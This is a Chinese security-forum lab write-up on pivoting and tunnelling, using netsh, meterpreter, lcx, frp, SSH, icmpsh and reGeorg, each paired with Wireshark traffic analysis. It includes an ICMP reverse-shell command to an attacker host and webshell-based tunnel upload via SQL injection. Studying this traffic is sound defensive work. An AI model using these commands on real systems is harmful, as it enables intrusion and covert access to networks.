流量操纵(端口转发+隧道)

逍遥子   ·   发表于 2022-04-23 22:24:51   ·   技术文章

1.使用netsh进行端口转发

  1. 跳板机:win10 192.168.88.1/192.168.158.1
  2. 攻击机:kali 192.168.88.146
  3. 目标机:win10 192.168.158.129

a.流量操纵

  1. 直接在跳板机上输入命令: netsh interface portproxy add v4tov4 listenport=9999 connectaddress=192.168.158.129 connectport=80
  2. netsh interface portproxy add v4tov4 listenport=[用于监听连接的端口] connectaddress=[目标机ip] connectport=[转发到的端口]
  3. 查看所有的转发:netsh interface portproxy show all
  4. 关闭转发:netsh interface portproxy reset


做好转发后使用目标机进行对跳板机的ip和监听端口进行访问,跳板机会转发到我们设置好的目标机和端口。


可以看到是借助跳板机进行访问的,目标机记录到的是跳板机的信息。

b.流量分析

分别在攻击机kali和跳板机win10上使用wireshark抓包,对流量进行分析。

kali:首先kali与跳板机进行了三次握手,然后向跳板机的9999发起请求,然后由跳板机向kali发送数据。


win10(跳板机):跳板机通过正常对目标机进行了访问,并且收到返回的信息。


将两个数据包进行合并分析:

  1. 首先kali(192.168.88.146)向跳板机(192.168.88.1:9999)的指定端口进行访问,
  2. 跳板机向目标机发出请求,完成三次握手,之后发起http请求,获得了响应数据。
  3. 跳板机转发数据到kali

2.使用meterpreter进行端口抓发

  1. 跳板机:win10 192.168.88.1/192.168.158.1
  2. 攻击机:kali 192.168.88.146
  3. 目标机:win10 192.168.158.129

a.流量操纵

  1. 首先使用msf获取到跳板机的meterpreter
  2. 使用命令:portfwd add -l 1234 -r 192.168.158.129 -p 80
  3. localhost:1234 成功访问

b.流量分析

  1. 攻击机首先对自己的端口进行一个访问
  2. 攻击机通过meterpreter向跳板机发起请求,跳板机向目标机器发起http请求
  3. 攻击机收到meterpreter回传的数据,将数据通过1234端口发送给浏览器。

3. 使用lcx端口转发

  1. 攻击机:192.168.88.1
  2. 目标机:192.168.88.152192.168.258.129

a.本地端口转发(防火墙限制了某一端口时)

在目标机执行命令:

  1. lcx.exe -tran 8888 127.0.0.1 3389 #将本机的80端口转发到本机的8888 端口上


使用攻击机对目标机的8888端口访问实现访问到对方的80端口

b.远程端口转发

  1. 攻击机监听两个端口,一个用于与攻击机通信,一个用于接收其他主机(包括)需要访问转发端口的数据。
  2. lcx.exe -listen 6666 7777
  3. 在目标机执行命令,用于将本地的端口转发到远程攻击机上的端口。
  4. lcx.exe -slave 192.168.88.1 6666 127.0.0.1 80 #将本地的80端口转发到192.168.88.1主机上的6666端口


端口成功转发,从攻击机本地访问本地的端口和其他设备访问攻击机的端口都可以做到数据的转发。


可以从打开的控制台窗口看到流量的转发细则。

​ 攻击机转发细则


目标机转发细则

4.使用frp

  1. 跳板机:centos7 124.220.xx.xx
  2. 攻击机:kali 192.168.88.146
  3. 目标机:win10 192.168.158.129
  4. 工具:frp

a.流量操纵

  1. frp进行配置
  2. 跳板机作为服务器端,目标机作为客户端。
  3. 启动命令:./frps -c frps.ini ./frpc -c frpc.ini

服务端配置:

  1. [common]
  2. bind_port = 7000 //监听端口

客户端配置:

  1. [common]
  2. server_addr =124.220.xx.xx //服务端地址
  3. server_port = 7000 //服务端监听端口
  4. [remote]
  5. type = tcp
  6. local_ip = 127.0.0.1 //映射地址
  7. local_port = 3389 //本地映射端口
  8. remote_port = 3000 //映射端口

开启服务器端口监听,等待连接


客户端开始连接,连接成功


使用任意联网设备进行访问。(服务器用的是公网IP)

b.流量分析(重新配置本地环境做的抓包,除ip不同外没有任何区别)

跳板机与目标机之间建立映射关系。通过访问跳板机,获取到目标机数据。

二、隧道通信

1.ssh隧道

  1. 攻击机:CentOs 192.168.158.130
  2. 目标机:win10 192.168.158.129
  1. 本地转发:ssh -CfNg -L 3031:192.168.158.129 root@192.168.88.130
  2. 远程转发:ssh -CfNg -R 3032:127.0.0.1:80 root@192.168.158.130

2.icmp隧道

a.流量操作(icmpsh)

  1. 攻击机:kali 192.168.88.146
  2. 目标机:win10 192.168.158.139
  1. 在攻击机中设置,因为要用Icmpsh来代替系统本身的Ping命令的应答程序 sysctl -w net.ipv4.icmp_echo_ignore_all=1
  2. 在目标机中运行:icmpsh.exe -t 192.168.88.146 -s 1400 (将包大小设置为1400,方便wireshark分析)
  3. 攻击机运行:./icmpsh_m.py 192.168.88.146 192.168.88.139

当在kali上运行失败时,You need to install Python Impacket library first,则需要安装相应的库环境

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. pip install -r requirements.txt
  4. python setup.py install

b.流量分析

发现在icmp的数据包中,存在传输的数据。

3.reGeorg隧道

  1. 攻击机:kali 192.168.88.146
  2. 目标机:win2k8 maoshe

a.流量操纵

  1. 在目标机上上传reGeorgphp隧道文件
  2. 本地访问文件,检查是否可以正常访问。
  3. 使用脚本文件数据转发。
  4. 使用代理工具发送流量。

1.利用sql注入写入文件,通过webshell管理工具上传tunnel.nosocket.php文件到目标服务器,然后对该文件进行访问,发现可以成功访问。


2.使用reGeorgSocksProxy.py脚本用于转发数据。可以使用 -p参数指定端口,默认会生成一个,这个默认的端口就为8888

3.在proxifier中进行配置服务器和代理.这里使用了应用程序流量过滤,只代理远程桌面的流量


使用windows自带的远程桌面即可。

说明:流量包见附件

  1. 不是一次性完成的,有时候因为当天有些别的事(偷懒了),就对一部分操作做了流量分析,但是没有写入到文章中。具体流量包放在附件,需要的自行下载。
用户名金币积分时间理由
Track-劲夫 50.00 0 2022-04-25 17:05:32 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

tunple.zip   文件大小:0.033M (下载次数:0)

0 条回复   |  直到 2022-4-23 | 879 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.